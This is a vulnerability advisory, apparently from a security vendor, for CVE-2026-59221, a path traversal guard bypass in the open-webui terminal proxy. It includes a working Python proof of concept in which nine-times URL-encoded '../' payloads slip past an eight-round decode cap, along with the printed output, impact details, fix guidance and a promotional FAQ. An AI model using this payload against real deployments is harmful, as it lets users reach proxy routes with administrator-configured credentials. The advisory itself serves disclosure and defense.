CVE-2026-59221

open-webui terminal proxy path traversal guard bypass via 9x encoded traversal

import asyncio, posixpath
from urllib.parse import unquote
from aiohttp import web, ClientSession, ClientTimeout

def sanitize(path):
    decoded = path
    for _ in range(8):
        once = unquote(decoded)
        if once == decoded:
            break
        decoded = once
    cleaned = posixpath.normpath(decoded).lstrip('/')
    if cleaned.startswith('..') or cleaned == '.':
        return None
    return cleaned

def enc(s, rounds):
    out = ''.join(f'%{b:02X}' for b in s.encode())
    for _ in range(rounds - 1):
        out = out.replace('%', '%25')
    return out

async def main():
    async def handler(request):
        return web.json_response({'raw_path': request.raw_path, 'path': request.path})
    app = web.Application()
    app.router.add_route('*', '/{tail:.*}', handler)
    runner = web.AppRunner(app)
    await runner.setup()
    site = web.TCPSite(runner, '127.0.0.1', 0)
    await site.start()
    port = site._server.sockets[0].getsockname()[1]

    for rounds in (8, 9):
        safe = sanitize(enc('../admin/system', rounds))
        print(rounds, safe)
        if safe:
            url = f'http://127.0.0.1:{port}/base/{safe}'
            async with ClientSession(timeout=ClientTimeout(total=10)) as session:
                async with session.get(url) as response:
                    print(await response.json())
    await runner.cleanup()

asyncio.run(main())

8 None
9 %2E%2E%2F%61%64%6D%69%6E%2F%73%79%73%74%65%6D
{'raw_path': '/base/..%2Fadmin%2Fsystem', 'path': '/base/../admin/system'}

decoded = path
for _ in range(8):
    once = unquote(decoded)
    if once == decoded:
        break
    decoded = once

A user who has access to an admin-configured terminal connection can bypass the terminal proxy path traversal guard and cause Open WebUI to forward requests with the configured terminal credentials and X-User-Id header to paths outside the intended normalized proxy path. For orchestrator-backed terminal connections the same sanitized path is placed under /p/{policy_id}/{safe_path}, so the bypass can also target sibling or parent routes after upstream decoding. This is a bypass of the same terminal proxy boundary covered by GHSA-r2wg-2mcr-66rv.

This does not require adding a malicious terminal server or convincing an administrator to weaken settings. The attacker only needs normal access to an existing configured terminal connection.

Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files. Typical impact: unauthorized file read or write outside the intended directory.

CVE-2026-59221 has a CVSS score of 7.7 (High). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.10.0); upgrading removes the vulnerable code path.

Kodem intelligence

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Do not rely on a fixed decode-depth cap for a traversal security boundary. Recommended fixes:

1. Decode until stable with a strict input length cap, and reject if the final value still contains encoded dot, slash, or backslash separators.
2. Reconstruct the allowed relative path from fully decoded segments: split on path separators, reject empty/current/parent segments, then join allowed segments with /.
3. Add regression tests for at least 9x and 10x encoded ../ payloads, including a route-level test that accounts for the ASGI server's initial path decode before the {path:path} parameter reaches _sanitize_proxy_path().

1. What is CVE-2026-59221? CVE-2026-59221 is a high-severity path traversal vulnerability in open-webui (pip), affecting versions >= 0.9.6, < 0.10.0. It is fixed in 0.10.0. Input manipulates file paths to reach files outside the intended directory, such as configuration or credential files.
2. How severe is CVE-2026-59221? CVE-2026-59221 has a CVSS score of 7.7 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of open-webui are affected by CVE-2026-59221? open-webui (pip) versions >= 0.9.6, < 0.10.0 is affected.
4. Is there a fix for CVE-2026-59221? Yes. CVE-2026-59221 is fixed in 0.10.0. Upgrade to this version or later.
5. Is CVE-2026-59221 exploitable, and should I be worried? Whether CVE-2026-59221 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2026-59221 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2026-59221? Upgrade open-webui to 0.10.0 or later.

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